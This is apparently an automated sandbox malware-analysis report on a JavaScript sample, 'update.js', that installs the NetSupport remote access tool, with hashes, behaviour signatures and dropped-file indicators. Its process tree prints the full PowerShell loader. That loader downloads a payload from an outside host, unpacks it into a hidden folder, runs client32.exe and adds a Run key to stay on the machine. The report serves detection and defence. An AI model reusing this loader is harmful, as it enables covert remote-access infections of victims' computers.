Analysis
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max time kernel
605s -
max time network
1748s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
05-02-2024 20:21
Static task
static1
Behavioral task
behavioral1
Sample
update.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
update.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
update.js
Resource
win11-20231215-en
General
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Target
update.js
-
Size
350KB
-
MD5
1cc37e540105a888cbe50d8d81b09e27
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SHA1
0e2701afb1ba6050508dd7a4ecfc6fe3266ca9e2
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SHA256
d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
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SHA512
2ed4db91e1e59c17966de8cbe12dd6b830e9f6756d7e98a8d525597252db393e843fdba82e17e0403b77416393ac3059a58f3d954985ab56e23b156ae4b981b1
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SSDEEP
6144:QY/j8teY/j8teY/j8tMY/j8t8Y/j8teY/j8teY/j8tWY/j8teY/j8teY/j8tQ:QYwteYwteYwtMYwt8YwteYwteYwtWYwW
Malware Config
Extracted
https://ghostcitygames.com/data.php?6937
https://ghostcitygames.com/data.php?6937
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 1700 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 968 client32.exe -
Loads dropped DLL 6 IoCs
Processes:
client32.exepid process 968 client32.exe 968 client32.exe 968 client32.exe 968 client32.exe 968 client32.exe 968 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX564\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1700 powershell.exe 1700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 1700 powershell.exe Token: SeSecurityPrivilege 968 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 968 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 2136 wrote to memory of 1700 2136 wscript.exe powershell.exe PID 2136 wrote to memory of 1700 2136 wscript.exe powershell.exe PID 1700 wrote to memory of 968 1700 powershell.exe client32.exe PID 1700 wrote to memory of 968 1700 powershell.exe client32.exe PID 1700 wrote to memory of 968 1700 powershell.exe client32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\update.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:968
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
366KB
MD597f886815bc7406255ec08a3d4485c07
SHA1f6f6e2df3079a586b83435a6a7fb2e229bd0980e
SHA256093241f3dc43cd8da79aa9bd179d8e9b3fe25968aa0714406fe7c499f14e5270
SHA512718f87e456447442c74379968e3abe734ea66dd460238fb9cf9869ea0d12193a219d2eec01398804e24ccca392dc7f85508b48931f3f0bb3cc0634a01cfa2c93
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
685KB
MD5050e7430a9b6d02b979f72b8314e77ac
SHA1a3cba20a4ecc1dbb844ace2ea84a8c92acd19254
SHA256c92ec3058b412754bd1733db26787a12f43e05fcfb266041d8f7146db9c66655
SHA512b3393a89f8b722efaf499cbc5783013e542d6b32555a7c1639c8b6a36ac5691df39eabf6025bb0ae6f8769e60f1e0118205e5f81c1eecc0ab7bd79385dfd1f0d
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Filesize
497KB
MD5c9fcf40afdacef88cdc9b19cfc8816e2
SHA133aa62faef55a8d487ea360bb1f6d034baff7251
SHA25637192862a8a143c264353b1e0590d0c5f106bd87a261b884578036c61ff0ef86
SHA5128ff79573029a0386b9a27227800740dd473b119a05a0cbaa3daecdc9f442af8c83734ac68b40030517f03f0344668afe5f5e11a42835f45687ff2e7505e6fa47
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
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Filesize
404KB
MD590374446d87c00de5565448622e6604d
SHA1bb4ca20c1c5d9e77cffed5d9c5fe84ad1fa93eee
SHA256f40fee2991c35c6c12c49968f23d66c3b74f36bf27cbf1bfa193056302e20217
SHA512179dd00cd5fa236a1a4a55c16f6a846e1efa34f43d1eb6a54cb982a785f0f412a4d113eddb15fe675aa66c3d6cccd15648741a077f035f55e36b6524e93f1e36
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Filesize
485KB
MD54b8a85f618827549451e2f3d9637f7be
SHA17a9a315ed333f80e0dd4c955a72544e12e76e571
SHA256457b93f151da3d5c6bfc9868f37965266d12167ec58eedcc395941fc41dd816d
SHA5121984b0e14c6441d57c1dd4017f1a4d1ca11ca5d455a5395ffc7800ca27e03e9c3fed3b540c943fc11f124adbee584d40d33405f61c25cf6d4466e5a5775069b9
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2